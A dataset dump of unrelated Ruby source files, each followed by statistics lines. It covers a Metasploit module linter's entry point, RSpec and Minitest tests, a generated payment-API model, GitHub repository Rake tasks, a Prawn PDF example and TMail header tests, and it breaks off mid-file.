dirs.length < 1 $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" @exit_status = 1 exit(@exit_status) end dirs.each do |dir| begin Find.find(dir) do |full_filepath| next if full_filepath =~ /\.git[\x5c\x2f]/ next unless File.file? full_filepath next unless full_filepath =~ /\.rb$/ msftidy = Msftidy.new(full_filepath) msftidy.run_checks @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i) end rescue Errno::ENOENT $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory" end end exit(@exit_status.to_i) end
30.862468
201
0.599517
038eed7b9f17fc55ac5d0507ec2924a0e2a573cf
998
# frozen_string_literal: true require 'spec_helper' RSpec.describe ::JiraConnect::SyncFeatureFlagsWorker do include AfterNextHelpers include ServicesHelper describe '#perform' do let_it_be(:feature_flag) { create(:operations_feature_flag) } let(:sequence_id) { Random.random_number(1..10_000) } let(:feature_flag_id) { feature_flag.id } subject { described_class.new.perform(feature_flag_id, sequence_id) } context 'when object exists' do it 'calls the Jira sync service' do expect_next(::JiraConnect::SyncService, feature_flag.project) .to receive(:execute).with(feature_flags: contain_exactly(feature_flag), update_sequence_id: sequence_id) subject end end context 'when object does not exist' do let(:feature_flag_id) { non_existing_record_id } it 'does not call the sync service' do expect_next(::JiraConnect::SyncService).not_to receive(:execute) subject end end end end
26.972973
115
0.711423
18c06a2d3c12b8e717f26e757129e703d41e63ac
1,169
require 'minitest/autorun' require_relative 'grains' # Common test data version: 1.1.0 f079c2d class GrainsTest < Minitest::Test def test_1 # skip assert_equal 1, Grains.square(1) end def test_2 skip assert_equal 2, Grains.square(2) end def test_3 skip assert_equal 4, Grains.square(3) end def test_4 skip assert_equal 8, Grains.square(4) end def test_16 skip assert_equal 32_768, Grains.square(16) end def test_32 skip assert_equal 2_147_483_648, Grains.square(32) end def test_64 skip assert_equal 9_223_372_036_854_775_808, Grains.square(64) end def test_square_0_raises_an_exception skip assert_raises(ArgumentError) do Grains.square(0) end end def test_negative_square_raises_an_exception skip assert_raises(ArgumentError) do Grains.square(-1) end end def test_square_greater_than_64_raises_an_exception skip assert_raises(ArgumentError) do Grains.square(65) end end def test_returns_the_total_number_of_grains_on_the_board skip assert_equal 18_446_744_073_709_551_615, Grains.total end end
17.447761
61
0.718563
26b20e97b6d21cb529aea5786854cf2dc689903e
7,698
=begin The Trust Payments API allows an easy interaction with the Trust Payments web service. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =end require 'date' module TrustPayments # class RestLanguage # The country code represents the region of the language as a 2 letter ISO code. attr_accessor :country_code # The IETF code represents the language as the two letter ISO code including the region (e.g. en-US). attr_accessor :ietf_code # The ISO 2 letter code represents the language with two letters. attr_accessor :iso2_code # The ISO 3 letter code represents the language with three letters. attr_accessor :iso3_code # The plural expression defines how to map a plural into the language index. This expression is used to determine the plural form for the translations. attr_accessor :plural_expression # The primary language of a group indicates whether a language is the primary language of a group of languages. The group is determine by the ISO 2 letter code. attr_accessor :primary_of_group # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'country_code' => :'countryCode', :'ietf_code' => :'ietfCode', :'iso2_code' => :'iso2Code', :'iso3_code' => :'iso3Code', :'plural_expression' => :'pluralExpression', :'primary_of_group' => :'primaryOfGroup' } end # Attribute type mapping. def self.swagger_types { :'country_code' => :'String', :'ietf_code' => :'String', :'iso2_code' => :'String', :'iso3_code' => :'String', :'plural_expression' => :'String', :'primary_of_group' => :'BOOLEAN' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v } if attributes.has_key?(:'countryCode') self.country_code = attributes[:'countryCode'] end if attributes.has_key?(:'ietfCode') self.ietf_code = attributes[:'ietfCode'] end if attributes.has_key?(:'iso2Code') self.iso2_code = attributes[:'iso2Code'] end if attributes.has_key?(:'iso3Code') self.iso3_code = attributes[:'iso3Code'] end if attributes.has_key?(:'pluralExpression') self.plural_expression = attributes[:'pluralExpression'] end if attributes.has_key?(:'primaryOfGroup') self.primary_of_group = attributes[:'primaryOfGroup'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? true end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && country_code == o.country_code && ietf_code == o.ietf_code && iso2_code == o.iso2_code && iso3_code == o.iso3_code && plural_expression == o.plural_expression && primary_of_group == o.primary_of_group end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [country_code, ietf_code, iso2_code, iso3_code, plural_expression, primary_of_group].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } ) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BOOLEAN if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model temp_model = TrustPayments.const_get(type).new temp_model.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) next if value.nil? hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map{ |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
31.809917
164
0.640036
7a0fcda9d843862479540bab494eba976da06c8a
264
# frozen_string_literal: true module Lastfm class Query attr_reader :user def initialize(from:, to:, user:) @from = from @to = to @user = user end def from @from.to_i end def to @to.to_i end end end
12.571429
37
0.55303
28fa866e78eb27a9dd8964ad9d13d567b521eb54
1,547
module BusinessProcesses class AffectedMember attr_accessor :policy attr_accessor :member_id FROM_PERSON = [ :name_first, :name_last, :name_middle, :name_pfx, :name_sfx] FROM_MEMBER = [ :gender, :ssn, :dob] FROM_PERSON.each do |prop| class_eval(<<-RUBY_CODE) attr_reader :#{prop.to_s} def #{prop.to_s}=(val) @old_names_set = true @#{prop.to_s} = val end RUBY_CODE end FROM_MEMBER.each do |prop| class_eval(<<-RUBY_CODE) attr_reader :#{prop.to_s} def #{prop.to_s}=(val) @old_#{prop.to_s}_set = true @#{prop.to_s} = val end RUBY_CODE end FROM_PERSON.each do |prop| class_eval(<<-RUBY_CODE) def old_#{prop.to_s} if @old_names_set return #{prop.to_s} end enrollee_person.#{prop.to_s} end RUBY_CODE end FROM_MEMBER.each do |prop| class_eval(<<-RUBY_CODE) def old_#{prop.to_s} if @old_#{prop.to_s}_set return #{prop.to_s} end enrollee_person.authority_member.#{prop.to_s} end RUBY_CODE end def initialize(props = {}) props.each_pair do |k, v| send("#{k.to_s}=".to_sym, v) end end def enrollee @enrollee ||= policy.enrollees.detect { |en| en.m_id == member_id } end def enrollee_person @enrollee_person ||= enrollee.person end end end
20.090909
73
0.543633
4aba8e07816bb8693433bab8d64ffdfd8f7b8287
483
module CangarooUI class RetryJobsController < ApplicationController def update @tx = CangarooUI::Transaction.find(params[:id]) respond_to do |format| if CangarooUI::TransactionRetrier.retry(@tx) flash.now[:notice] = "Job #{@tx.job_class} queued" else flash.now[:alert] = "Job #{@tx.job_class} could not be queued" end format.html { redirect_to transactions_path } format.js end end end end
24.15
72
0.625259
1d3faea4ebc0dc09a9b84feae2cc1bcd35d8c019
574
# encoding: utf-8 # Numeric class Numeric # return is binary table # # ==== Examples # # 1 to 3 case # # Numeric.to_binary_table(1, 3) # # result # # |10digit|2digit | # |1 |00000001| # |2 |00000010| # |3 |00000011| # def self.to_binary_table(from = 1, to = 10) ret = [] size = to.to_s(2).size - 1 pad = (size / 8 + 1) * 8 ret << '|10digit|2digit|' (from..to).each { |i|ret << "|#{i}|#{i.to_s(2).rjust(pad, '0')}|" } joined = ret.join("\n") + "\n" joined.justify_table(:right) end end
19.133333
71
0.5
185f4be2e5e670940001174b05374c8b48d27d75
201
module Datadog module VERSION MAJOR = 0 MINOR = 31 PATCH = 0 PRE = nil STRING = [MAJOR, MINOR, PATCH, PRE].compact.join('.') MINIMUM_RUBY_VERSION = '2.0.0'.freeze end end
15.461538
57
0.60199
1cc856dd7b35e9614204d8e3d534e3ce48230c88
202
require 'minitest' require 'minitest/autorun' require 'minitest/pride' require 'minitest-spec-context' require 'pry' require 'awesome_print' require_relative '../lib/github_copier' include GithubCopier
22.444444
39
0.811881
f84c4e0cfeceba63cd00a3495c9dc63ab41003ce
1,530
module Kana::Convertor @@mecab = nil if SS.config.kana.disable == false require "MeCab" @@mecab = MeCab::Tagger #require "natto" #@@mecab = Natto::MeCab end class << self public def kana_html(html) return html unless @@mecab text = html.gsub(/[\r\n\t]/, " ") tags = %w(head ruby script style) text.gsub!(/<!\[CDATA\[.*?\]\]>/m) {|m| mpad(m) } text.gsub!(/<!--.*?-->/m) {|m| mpad(m) } tags.each {|t| text.gsub!(/<#{t}( [^>]*\/>|[^\w].*?<\/#{t}>)/m) {|m| mpad(m) } } text.gsub!(/<.*?>/m) {|m| mpad(m) } text.gsub!(/\\u003c.*?\\u003e/m) {|m| mpad(m) } #<> text.gsub!(/[ -~]/m, "\r") byte = html.bytes kana = "" pl = 0 mecab = @@mecab.new('--node-format=%ps,%pe,%m,%H\n --unk-format=') # http://mecab.googlecode.com/svn/trunk/mecab/doc/format.html mecab.parse(text).split(/\n/).each do |line| next if line == "EOS" data = line.split(",") next if data[2] !~ /[一-龠]/ ps = data[0].to_i pe = data[1].to_i kana << byte[pl..ps-1].pack("C*").force_encoding("utf-8") if ps != pl yomi = data[10].to_s.tr("ァ-ン", "ぁ-ん") kana << "<ruby>#{data[2]}<rp>(</rp><rt>#{yomi}</rt><rp>)</rp></ruby>" pl = pe end kana << byte[pl..-1].pack("C*").force_encoding("utf-8") kana.strip end private def mpad(str) str.gsub(/[^ -~]/, " ") end end end
27.321429
88
0.452941
eda0d8916c09ffc563a14883ac76fc1cfde55b0a
81
module Beaglebone # Current Gem Version # VERSION = "0.1.3" end
9
24
0.567901
336a4c0956613b3a8a60369fcd34d153881f42c7
6,204
namespace :github do desc 'Create a specific set of labels that are mapped to waffle.io' task :create_sensu_plugins_labels do acquire_label_list STD_PLUGIN_LABELS.each do |s| @github.issues.labels.create name: s[:name], color: s[:color], user: GITHUB_ORG, repo: @github_repo unless @current_list.include?(s[:name]) end end desc 'Create an initial milestone' task :create_initial_milestone do acquire_ms_list @github.issues.milestones.create title: GITHUB_INITIAL_MILESTONE, user: GITHUB_ORG, repo: @github_repo unless @ms_list.include?(GITHUB_INITIAL_MILESTONE) end desc 'Delete a set of labels that we don\'t have mapped or need' task :delete_github_labels do acquire_label_list GITHUB_REMOVABLE_STD_LABELS.each do |s| @github.issues.labels.delete label_name: s, user: GITHUB_ORG, repo: @github_repo if @current_list.include?(s) end end desc 'Create a release on Github' task :create_release do set_auth set_github_repo_name @github.repos.releases.create GITHUB_ORG, @github_repo, "v#{acquire_current_version}", tag_name: "v#{acquire_current_version}", target_commitish: ENV['commit'] || 'master', name: "v#{acquire_current_version}", body: ENV['description'], draft: RELEASE_DRAFT, prerelease: RELEASE_PRERELEASE end # I know this is an ugly hack, I will fork the github_api and fix it or do something else when I have time. This works and is stable so f it for now. desc 'Get a list of all plugin repos' task :list_repos do set_auth printf("%-40s %-40s %-70s\n", 'Name', 'Plugin', 'Description') p1 = `curl -s 'https://api.github.com/orgs/sensu-plugins/repos?page=1'` p2 = `curl -s 'https://api.github.com/orgs/sensu-plugins/repos?page=2'` p3 = `curl -s 'https://api.github.com/orgs/sensu-plugins/repos?page=3'` p4 = `curl -s 'https://api.github.com/orgs/sensu-plugins/repos?page=4'` p5 = `curl -s 'https://api.github.com/orgs/sensu-plugins/repos?page=5'` p6 = `curl -s 'https://api.github.com/orgs/sensu-plugins/repos?page=6'` p7 = `curl -s 'https://api.github.com/orgs/sensu-plugins/repos?page=7'` p8 = `curl -s 'https://api.github.com/orgs/sensu-plugins/repos?page=8'` p1.each_line do |p| if p.include?("\"name\":") plugin = p.split("\"")[3].gsub(/sensu-plugins-/, '') name = p.split("\"")[3] printf('%-40s %-40s', name, plugin) elsif p.include?("\"description\":") description = p.split("\"")[3] printf("%-70s\n", description) end end p2.each_line do |p| if p.include?("\"name\":") plugin = p.split("\"")[3].gsub(/sensu-plugins-/, '') name = p.split("\"")[3] printf('%-40s %-40s', name, plugin) elsif p.include?("\"description\":") description = p.split("\"")[3] printf("%-70s\n", description) end end p3.each_line do |p| if p.include?("\"name\":") plugin = p.split("\"")[3].gsub(/sensu-plugins-/, '') name = p.split("\"")[3] printf('%-40s %-40s', name, plugin) elsif p.include?("\"description\":") description = p.split("\"")[3] printf("%-70s\n", description) end end p4.each_line do |p| if p.include?("\"name\":") plugin = p.split("\"")[3].gsub(/sensu-plugins-/, '') name = p.split("\"")[3] printf('%-40s %-40s', name, plugin) elsif p.include?("\"description\":") description = p.split("\"")[3] printf("%-70s\n", description) end end p5.each_line do |p| if p.include?("\"name\":") plugin = p.split("\"")[3].gsub(/sensu-plugins-/, '') name = p.split("\"")[3] printf('%-40s %-40s', name, plugin) elsif p.include?("\"description\":") description = p.split("\"")[3] printf("%-70s\n", description) end end p6.each_line do |p| if p.include?("\"name\":") plugin = p.split("\"")[3].gsub(/sensu-plugins-/, '') name = p.split("\"")[3] printf('%-40s %-40s', name, plugin) elsif p.include?("\"description\":") description = p.split("\"")[3] printf("%-70s\n", description) end end p7.each_line do |p| if p.include?("\"name\":") plugin = p.split("\"")[3].gsub(/sensu-plugins-/, '') name = p.split("\"")[3] printf('%-40s %-40s', name, plugin) elsif p.include?("\"description\":") description = p.split("\"")[3] printf("%-70s\n", description) end end p8.each_line do |p| if p.include?("\"name\":") plugin = p.split("\"")[3].gsub(/sensu-plugins-/, '') name = p.split("\"")[3] printf('%-40s %-40s', name, plugin) elsif p.include?("\"description\":") description = p.split("\"")[3] printf("%-70s\n", description) end end end desc 'Create a github repo with the necessary features(requires org Admin privilages)' task :create_repo do acquire_repo_list @github.repos.create name: @github_repo, description: 'Add a description', homepage: SENSU_PLUGINS_HOMEPAGE, private: PRIVATE_REPO, has_issues: GITHUB_ISSUES, has_wiki: GITHUB_WIKI, auto_init: GITHUB_AUTO_INIT, has_downloads: @github_repo_DOWNLOADS, team_id: TEAM_ID, org: GITHUB_ORG unless @repo_list.include?(@github_repo) Rake::Task['github:delete_github_labels'].invoke Rake::Task['github:create_sensu_plugins_labels'].invoke Rake::Task['github:create_initial_milestone'].invoke end end
39.265823
152
0.542553
3389467dc1605affe63d7f6a6d49beaf91debce6
451
class Tenancy::Contact < Tenancy::Resource # FIXME: must always CGI.escape() the :tenancy_id as it contains a slash and # is passed into the URL. Maybe active_resource should be escaping this # properly but certainly the API shouldn't be using such problematic # identifiers self.prefix = "#{site.path}/tenancies/:tenancy_id/" schema do string :full_name string :telephone1 string :telephone2 string :telephone3 end end
30.066667
78
0.733925
390cf7e997a88e299d8a1fa2abff82a4bec4c0ea
272
# encoding: utf-8 ### # to run use # ruby -I ./lib -I ./test test/test_version.rb require 'helper' class TestVersion < MiniTest::Test def test_version pp DateFormats::VERSION pp DateFormats.banner pp DateFormats.root end end # class TestVersion
14.315789
50
0.680147
acb2f1569ba880e10e77e33305de247d6e5fe006
495
class UsersController < ApplicationController before_action :require_signed_in!, only: [:show] before_action :require_signed_out!, only: [:new, :create] def new @user = User.new end def create @user = User.new(user_params) if @user.save sign_in(@user) redirect_to subs_url else flash.now[:errors] = @user.errors.full_messages render :new end end private def user_params params.require(:user).permit(:name, :password) end end
19.038462
59
0.670707
ace6bf584c77dcba4bdd8dba212f0069bcedcc98
1,134
# # Cookbook Name:: nova # Recipe:: consoleauth-monitoring # # Copyright 2009, Rackspace Hosting, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ######################################## # BEGIN MONIT SECTION # Allow for enable/disable of monit if node["enable_monit"] include_recipe "monit::server" platform_options = node["nova"]["platform"] monit_procmon "nova-consoleauth" do process_name "nova-consoleauth" start_cmd platform_options["monit_commands"]["nova-consoleauth"]["start"] stop_cmd platform_options["monit_commands"]["nova-consoleauth"]["stop"] end end ########################################
33.352941
77
0.696649
b9b3310e3234fc2b18a0a3281a778c0b568d49e1
567
# encoding: utf-8 require 'spec_helper' class BancoBrasil < BoletoBancario::BancoBrasil def self.valor_documento_tamanho_maximo 100 # Default 99999999.99 end def self.carteiras_suportadas %w[12 17] # Default %w[12 16 17 18] end end describe BancoBrasil do describe "on validations" do it { should have_valid(:valor_documento).when(99, 99.99, 25) } it { should_not have_valid(:valor_documento).when(100.01, 150) } it { should have_valid(:carteira).when(12, 17) } it { should_not have_valid(:carteira).when(16, 18, 20) } end end
24.652174
68
0.710758
62bbdae33287e42faa66efeb1c3a174026bc4aed
1,363
# # Be sure to run `pod spec lint JXFMDBMOperator.podspec' to ensure this is a # valid spec and to remove all comments including this before submitting the spec. # # To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html # To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/ # Pod::Spec.new do |s| # ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # These will help people to find your library, and whilst it # can feel like a chore to fill in it's definitely to your advantage. The # summary should be tweet-length, and the description more in depth. # s.name = "JXFMDBMOperator" s.version = "1.0.4" s.summary = "SQLite Operator base on FMDB ." s.description = <<-DESC 在 FMDB 的基础上简单封装一些操作数据库的 API 。 DESC s.homepage = "https://github.com/itwyhuaing/JXFMDBMOperator" s.license = { :type => 'MIT', :file => 'LICENSE' } s.author = { "hnbwyh" => "[email protected]" } s.platform = :ios, "8.0" s.source = { :git => "https://github.com/itwyhuaing/JXFMDBMOperator.git", :tag => s.version.to_s} s.source_files = "JXFMDBMOperator/*.{h,m}" # s.source_files = 'Pod/Classes/**/*' s.requires_arc = true s.dependency "FMDB", "2.7.2" end
37.861111
105
0.610418
e9cf368fb470fb343cd9d1d184f930d4d411e255
1,418
# frozen_string_literal: true # Kerning is the process of adjusting the spacing between characters in a # proportional font. It is usually done with specific letter pairs. We can # switch it on and off if it is available with the current font. Just pass a # boolean value to the <code>:kerning</code> option of the text methods. # # Character Spacing is the space between characters. It can be increased or # decreased and will have effect on the whole text. Just pass a number to the # <code>:character_spacing</code> option from the text methods. require_relative '../example_helper' filename = File.basename(__FILE__).gsub('.rb', '.pdf') Prawn::ManualBuilder::Example.generate(filename) do font_size(30) do text_box 'With kerning:', kerning: true, at: [0, y - 40] text_box 'Without kerning:', kerning: false, at: [0, y - 80] text_box 'Tomato', kerning: true, at: [250, y - 40] text_box 'Tomato', kerning: false, at: [250, y - 80] text_box 'WAR', kerning: true, at: [400, y - 40] text_box 'WAR', kerning: false, at: [400, y - 80] text_box 'F.', kerning: true, at: [500, y - 40] text_box 'F.', kerning: false, at: [500, y - 80] end move_down 80 string = 'What have you done to the space between the characters?' [-2, -1, 0, 0.5, 1, 2].each do |spacing| move_down 20 text "#{string} (character_spacing: #{spacing})", character_spacing: spacing end end
36.358974
77
0.684062
f7f626ac71c25a7d4ea238e62116eee7b06d9c3c
245
# frozen_string_literal: true require "falkor/version" require "falkor/download" require "falkor/extract/gem" require "falkor/extract/tar_gz" require "falkor/yard/documentation" require "falkor/ruby" require "falkor/gem" module Falkor end
14.411765
35
0.787755
acc946463aae504bc9646a006b488c1b4444824b
980
require 'facets/range/within' require 'test/unit' class TestRangeWithin < Test::Unit::TestCase def test_within? assert( (4..5).within?(3..6) ) assert( (3..6).within?(3..6) ) assert(! (2..5).within?(3..6) ) assert(! (5..7).within?(3..6) ) end def test_umbrella_aligned assert_equal( [0,0], (3..6).umbrella(3..6) ) assert_equal( [0,0], (3...6).umbrella(3...6) ) end def test_umbrella_partial_aligned assert_equal( [1,0], (3..6).umbrella(2..6) ) assert_equal( [0,1], (3..6).umbrella(3..7) ) assert_equal( [-1,0], (3..6).umbrella(4..6) ) assert_equal( [0,-1], (3..6).umbrella(3..5) ) end def test_umbrella_offset assert_equal( [1,1], (3..6).umbrella(2..7) ) assert_equal( [-1,1], (3..6).umbrella(4..7) ) assert_equal( [1,-1], (3..6).umbrella(2..5) ) assert_equal( [-1,-1], (3..6).umbrella(4..5) ) end def test_umbrella_offset_by_exclusion assert_equal( [0,1], (10...20).umbrella(10..20) ) end end
26.486486
53
0.587755
e9f0b6eba40521f2ace7263365f304ab6f5e0d4c
36,202
# encoding: utf-8 $:.unshift File.dirname(__FILE__) require 'test_helper' require 'tmail' require 'tmail/header' require 'kcode' require 'time' class UnstructuredHeaderTester < Test::Unit::TestCase def test_s_new %w( Subject SUBJECT sUbJeCt X-My-Header ).each do |name| h = TMail::HeaderField.new(name, 'This is test header.') assert_instance_of TMail::UnstructuredHeader, h, 'Header.new: name=' + name.dump end end def test_to_s # I must write more and more test. [ 'This is test header.', # "This is \r\n\ttest header" # "JAPANESE STRING" '' ]\ .each do |str| h = TMail::HeaderField.new('Subject', str) assert_equal str, h.decoded assert_equal str, h.to_s end end end class DateTimeHeaderTester < Test::Unit::TestCase def test_s_new %w( Date Resent-Date ).each do |name| h = TMail::HeaderField.new(name, 'Tue, 4 Dec 2001 10:49:32 +0900') assert_instance_of TMail::DateTimeHeader, h, name end end def test_date h = TMail::HeaderField.new('Date', 'Tue, 4 Dec 2001 10:49:32 +0900') assert_instance_of Time, h.date assert_equal false, h.date.gmt? assert_equal Time.parse('Tue, 4 Dec 2001 10:49:32 +0900'), h.date end def test_empty__illegal? [ [false, 'Tue, 4 Dec 2001 10:49:32 +0900'], [false, 'Sat, 15 Dec 2001 12:51:38 +0900'], [true, 'Sat, 15 Dec 2001 12:51:38'], [true, 'Sat, 15 Dec 2001 12:51'], [true, 'Sat,'] ].each do |wrong, str| h = TMail::HeaderField.new('Date', str) assert_equal wrong, h.empty?, str assert_equal wrong, h.illegal?, str end end def test_to_s h = TMail::HeaderField.new('Date', 'Tue, 4 Dec 2001 10:49:32 +0900') time = Time.parse('Tue, 4 Dec 2001 10:49:32 +0900').strftime("%a,%e %b %Y %H:%M:%S %z") assert_equal time, h.to_s assert_equal h.to_s, h.decoded ok = h.to_s h = TMail::HeaderField.new('Date', 'Tue, 4 Dec 2001 01:49:32 +0000') assert_equal ok, h.to_s h = TMail::HeaderField.new('Date', 'Tue, 4 Dec 2001 01:49:32 GMT') assert_equal ok, h.to_s end end class AddressHeaderTester < Test::Unit::TestCase def test_s_new %w( To Cc Bcc From Reply-To Resent-To Resent-Cc Resent-Bcc Resent-From Resent-Reply-To ).each do |name| h = TMail::HeaderField.new(name, '[email protected]') assert_instance_of TMail::AddressHeader, h, name end end def validate_case( str, isempty, to_s, comments, succ ) h = TMail::HeaderField.new('To', str) assert_equal isempty, h.empty?, str.inspect + " (empty?)\n" assert_instance_of Array, h.addrs, str.inspect + " (is a)\n" assert_equal succ.size, h.addrs.size, str.inspect + " (size)\n" h.addrs.each do |a| ok = succ.shift assert_equal ok[:phrase], a.phrase, str.inspect + " (phrase)\n" assert_equal ok[:routes], a.routes, str.inspect + " (routes)\n" assert_equal ok[:spec], a.spec, str.inspect + " (spec)\n" end if comments.first.respond_to? :force_encoding encoding = h.comments.first.encoding comments.each { |c| c.force_encoding encoding } end assert_equal comments, h.comments, str.inspect + " (comments)\n" to_s.force_encoding(h.to_s.encoding) if to_s.respond_to? :force_encoding assert_equal to_s, h.to_s, str.inspect + " (to_s)\n" if to_s assert_equal to_s, h.decoded, str.inspect + " (decoded)\n" if to_s end def test_ATTRS validate_case '[email protected]', false, '[email protected]', [], [{ :phrase => nil, :routes => [], :spec => '[email protected]' }] validate_case 'Minero Aoki <[email protected]> (comment)', false, 'Minero Aoki <[email protected]> (comment)', ['comment'], [{ :phrase => 'Minero Aoki', :routes => [], :spec => '[email protected]' }] validate_case '[email protected], , [email protected]', false, '[email protected], [email protected]', [], [{ :phrase => nil, :routes => [], :spec => '[email protected]' }, { :phrase => nil, :routes => [], :spec => '[email protected]' }] validate_case '', true, nil, [], [] validate_case '(comment only)', true, nil, ['comment only'], [] kcode('EUC') { validate_case '[email protected] (=?ISO-2022-JP?B?GyRCJUYlOSVIGyhC?=)', false, "[email protected] (\245\306\245\271\245\310)", ["\245\306\245\271\245\310"], [{ :phrase => nil, :routes => [], :spec => '[email protected]'}] } validate_case 'Mikel <[email protected]>, another Mikel <[email protected]>', false, 'Mikel <[email protected]>, another Mikel <[email protected]>', [], [{ :phrase => 'Mikel', :routes => [], :spec => '[email protected]' }, { :phrase => 'another Mikel', :routes => [], :spec => '[email protected]' }] end end class SingleAddressHeaderTester < Test::Unit::TestCase def test_s_new h = TMail::HeaderField.new('Sender', '[email protected]') assert_instance_of TMail::SingleAddressHeader, h end def test_addr h = TMail::HeaderField.new('Sender', '[email protected]') assert_not_nil h.addr assert_instance_of TMail::Address, h.addr assert_equal '[email protected]', h.addr.spec assert_equal nil, h.addr.phrase assert_equal [], h.addr.routes end def test_to_s str = 'Minero Aoki <[email protected]>, "AOKI, Minero" <[email protected]>' h = TMail::HeaderField.new('Sender', str) assert_equal 'Minero Aoki <[email protected]>', h.to_s end end class ReturnPathHeaderTester < Test::Unit::TestCase def test_s_new %w( Return-Path ).each do |name| h = TMail::HeaderField.new(name, '<[email protected]>') assert_instance_of TMail::ReturnPathHeader, h, name assert_equal false, h.empty? assert_equal false, h.illegal? end end def test_ATTRS h = TMail::HeaderField.new('Return-Path', '<@a,@b,@c:[email protected]>') assert_not_nil h.addr assert_instance_of TMail::Address, h.addr assert_equal '[email protected]', h.addr.spec assert_equal nil, h.addr.phrase assert_equal ['a', 'b', 'c'], h.addr.routes assert_not_nil h.routes assert_instance_of Array, h.routes assert_equal ['a', 'b', 'c'], h.routes assert_equal h.addr.routes, h.routes assert_not_nil h.spec assert_instance_of String, h.spec assert_equal '[email protected]', h.spec # missing '<' '>' h = TMail::HeaderField.new('Return-Path', 'xxxx@yyyy') assert_equal 'xxxx@yyyy', h.spec h = TMail::HeaderField.new('Return-Path', '<>') assert_instance_of TMail::Address, h.addr assert_nil h.addr.local assert_nil h.addr.domain assert_nil h.addr.spec assert_nil h.spec end def test_to_s body = 'Minero Aoki <@a,@b,@c:[email protected]>' h = TMail::HeaderField.new('Return-Path', body) assert_equal '<@a,@b,@c:[email protected]>', h.to_s assert_equal h.to_s, h.decoded body = '[email protected]' h = TMail::HeaderField.new('Return-Path', body) assert_equal '<[email protected]>', h.to_s assert_equal h.to_s, h.decoded body = '<>' h = TMail::HeaderField.new('Return-Path', body) assert_equal '<>', h.to_s end end class MessageIdHeaderTester < Test::Unit::TestCase def test_s_new %w( Message-Id MESSAGE-ID Message-ID Resent-Message-Id Content-Id ).each do |name| h = TMail::HeaderField.new(name, '<[email protected]>') assert_instance_of TMail::MessageIdHeader, h end end def test_message_id_double_at %w( Message-Id MESSAGE-ID Message-ID Resent-Message-Id Content-Id ).each do |name| h = TMail::HeaderField.new(name, '<20020103xg88.k0@[email protected]>') assert_instance_of TMail::MessageIdHeader, h end end def test_id str = '<[email protected]>' h = TMail::HeaderField.new('Message-Id', str) assert_not_nil h.id assert_equal str, h.id id = '<[email protected]>' str = id + ' (comm(ent))' h = TMail::HeaderField.new('Message-Id', str) assert_not_nil h.id assert_equal id, h.id end def test_id= h = TMail::HeaderField.new('Message-Id', '') h.id = str = '<[email protected]>' assert_not_nil h.id assert_equal str, h.id end def test_double_at_in_header fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email_double_at_in_header") str = '<d3b8cf8e49f0448085@0c28713a1@[email protected]>' mail = TMail::Mail.parse(fixture) assert_equal str, mail.message_id end end class 